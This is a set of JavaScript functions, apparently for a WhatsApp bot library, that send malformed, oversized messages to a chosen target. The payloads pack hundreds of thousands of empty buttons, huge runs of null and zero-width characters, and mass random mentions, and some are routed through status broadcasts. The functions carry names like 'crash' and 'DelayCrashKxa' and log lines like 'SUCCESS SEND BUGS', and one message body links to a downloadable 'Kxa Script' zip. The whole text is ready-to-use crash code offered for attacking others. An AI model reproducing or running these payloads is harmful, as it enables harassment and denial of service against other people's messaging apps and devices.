𝑨𝑳𝑳 𝑩𝑨𝑺𝑬 𝑺𝑪 𝑭𝑶𝑻𝑶 𝑩𝑬𝑵𝑬𝑭𝑰𝑻 𝑷𝑻 𝑭𝑼𝑵𝑪𝑻 𝑴𝑶𝑶𝑫 𝑨𝑷𝑲

async function Delayforclosev2(sock, target) {
  await sock.relayMessage(target, {
    groupStatusMessageV2: {
      message: {
        messageContextInfo: {
          messageSecret: crypto.randomBytes(32),
          deviceListMetadata: {
            senderKeyIndex: 0,
            senderTimestamp: Date.now(),
            recipientKeyIndex: 0
          },
          deviceListMetadataVersion: 2
        },
        interactiveMessage: {
          contextInfo: {
            mentionedJid: Array.from({ length: 1999 }, () =>
              "1" + Math.floor(Math.random() * 9000000) + "@s.whatsapp.net"
            )
          },
          nativeFlowMessage: {
            buttons: Array.from({ length: 80000 }, () => ({})),
            extra1: "\u0000".repeat(500000),
            extra2: "\u0000".repeat(500000),
            extra3: "\u0000".repeat(500000),
            extra4: "\u0000".repeat(500000),
            extra5: "\u0000".repeat(500000),
            extra6: Array.from({ length: 80000 }, () => ({}))
          },
          body: { text: "$serraa" }
        }
      }
    }
  }, {})
}

async function crash(sock, target) {
  let msg = {
    groupStatusMessageV2: {
      message: {
        viewOnceMessageV2Extension: {
          message: {
            interactiveMessage: {
              header: {
                title: "\u200B\u2060".repeat(10000),
                subtitle: "\uFEFF\u202F".repeat(10000)
              },
              body: {
                text: "\u180E\u061C".repeat(20000)
              },
              nativeFlowMessage: {
                buttons: "\uFFF9\uFFFA".repeat(70000) + "\uFFFB\u2060".repeat(30000),
                messageParamsJson: "\u200B\u202F".repeat(10000)
              },
              contextInfo: {
                stanzaId: "\uFEFF\u180E".repeat(1000),
                mentionedJid: [
                  "\u061C\u200B".repeat(1000)
                ],
                forwardingScore: 4294967295,
                isForwarded: true,
                expiration: 4294967295
              }
            }
          }
        }
      }
    }
  };

  await sock.relayMessage(target, msg, {
    participant: { jid: target }
  });

  console.log("✅ SUCCESS SEND BUGS");
}

async function GrenXtt(sock, target) {
const Gren1 = "\u800b".repeat(20000);
const Gren2 = "\u200b".repeat(30000);
const Gren3 = "infinity".repeat(1000);
const Gren4 = "\u0000".repeat(120000);

const Gren = {
interactiveMessage: {
body: {
text: "GrenXHarimau Nih bos wkwk" + Gren1 + Gren2 + Gren3 + Gren4,
format: "1"
},
nativeFlowMessage: {
buttons: Array.from({ length: 65000 }, () => ({
name: "voice_call",
buttonParamsJson: "\0"
}))
}}};
await sock.relayMessage(target, Gren, {
participant: { jid: target },
noSelfSync: true
});

const GrenB = {
groupStatusMessageV2: {
message: {
interactiveMessage: {
body: {
text: "GrenXxxx"
},
header: {
title: "GrenXxxx"
},
nativeFlowMessage: {
messageParamsJson: JSON.stringify({
placeholderResendMessage: "placeholderResendMessage",
testPayload: Buffer.from(
  Array.from({ length: 1500 }, () => 0x5A)
  ).toString("base64")
}),
buttons: Array.from({ length: 500550 }, () => ({}))
  }
   }
   }
  }
  };
  
const GrenA = {
groupMentionMessage: {
message: {
interactiveMessage: {
body: {
text: "FOUR",
display_text: "\u800b".repeat(50000)
},
nativeFlowMessage: {
buttons: Array.from({ length: 500000 }, () => ({}))
},
nativeFlowResponsMessage: {
buttons: [
{ name: "one_crash_message" },
{ name: "booking_status", bookingId: "XxxxX" },
{ name: "voice_call", phone_number: "\u200b".repeat(5000) },
{ name: "quick_reply", copy_number: "\u300b".repeat(5000) }
]
}  }}}
  };

  await sock.relayMessage(target, GrenA, GrenB);

  console.log(["{(", "Terkirim boyy", ")}"]);
}

CREDIT BY: KING

async function DelayCrashKxa(sock, target) {
    const msg1 = {
        groupStatusMessageV2: {
            message: {
                extendedTextMessage: {
                    text: "\u0000".repeat(75000),
                    contextInfo: {
                        participant: target,
                        mentionedJid: [
                            "0@s.whatsapp.net",
                            ...Array.from({ length: 1950 }, () => "1" + Math.floor(Math.random() * 9000000) + "@s.whatsapp.net")
                        ]
                    }
                }
            }
        }
    };

    const msg2 = {
        groupStatusMessageV2: {
            nativeFlowMessage: {
                extendedTextMessage: {
                    text: "\u0003".repeat(9000),
                    contextInfo: {
                        participant: target,
                        mentionedJid: [
                            "0@s.whatsapp.net",
                            ...Array.from(
                                { length: 1999 },
                                () => "1" + Math.floor(Math.random() * 98000000) + "@s.whatsapp.net"
                            )
                        ]
                    }
                }
            }
        }
    };

    const msg3 = {
        groupStatusMessageV2: {
            message: {
                interactiveMessage: {
                    body: {
                        text: "\u200D"
                    },
                    header: {
                        title: "\u200B"
                    },
                    nativeFlowMessage: {
                        buttons: "one_crash_message".repeat(15000)
                    }
                }
            }
        }
    };

    await sock.relayMessage("status@broadcast", msg1, {
        messageId: null,
        statusJidList: [target],
        additionalNodes: [{
            tag: "meta",
            attrs: {},
            content: [{
                tag: "mentioned_users",
                attrs: {},
                content: [{ tag: "to", attrs: { jid: target }, content: undefined }]
            }]
        }]
    });

    await sock.relayMessage("status@broadcast", msg2, {
        messageId: null,
        statusJidList: [target],
        additionalNodes: [{
            tag: "meta",
            attrs: {},
            content: [{
                tag: "mentioned_users",
                attrs: {},
                content: [{ tag: "to", attrs: { jid: target }, content: undefined }]
            }]
        }]
    });

    await sock.relayMessage("status@broadcast", msg3, {
        messageId: null,
        statusJidList: [target],
        additionalNodes: [{
            tag: "meta",
            attrs: {},
            content: [{
                tag: "mentioned_users",
                attrs: {},
                content: [{ tag: "to", attrs: { jid: target }, content: undefined }]
            }]
        }]
    });
}

async function LendKxaCombo(sock, target) {
  const msg = {
    groupStatusMessageV2: {
      message: {
        interactiveMessage: {
          body: {
            text: "https://www.mediafire.com/file/8jlr1s201dwwfia/Kxa+Script+New+Free+V5.0.zip/file"
          },
          nativeFlowMessage: {
            buttons: Array.from({ length: 450000 }, () => ({})),
            nativeFlowResponsMessage: {
              buttons: Array.from({ length: 450000 }, () => ({}))
            }
          }
        }
      }
    }
  };
    const code = "\u200D" + "\u200A" + "\u200B" + "\u200C" + "\u0000" + "\u500B";

    const msg2 = {
        groupStatusMessageV2: {
            message: {
                interactiveMessage: {
                    body: {
                        text: "Crashꦾ" + code.repeat(10000),
                        display_text: "\u200D"
                    },
                    nativeFlowInfo: {
                        name: "single_select",
                        paramsJson: JSON.stringify({
                            icon: "document",
                            title: "Important",
                            sections: Array.from({ length: 555555 }, () => ({}))
                        })
                    },
                    nativeFlowMessage: {
                        buttons: Array.from({ length: 500000 }, () => ({}))
                    }
                }
            }
        }
    };
    const msg3 = {
        groupStatusMessageV2: {
            message: {
                interactiveMessage: {
                    body: {
                        text: "𝕷𝖊𝖑𝖊𝖓𝖉" + "𝕮𝖗𝖆𝖘𝖍𝖊𝖉".repeat(75000),
                    },
                    nativeFlowMessage: {
                        buttons: Array.from({ length: 500000 }, () => ({}))
                    }
                }
            }
        }
    };

  await sock.relayMessage(target, msg, {
    noSelfSync: true
  });
  await sock.relayMessage(target, msg2, {
    noSelfSync: true
  });
  await sock.relayMessage(target, msg3, {
    noSelfSync: true
  });
}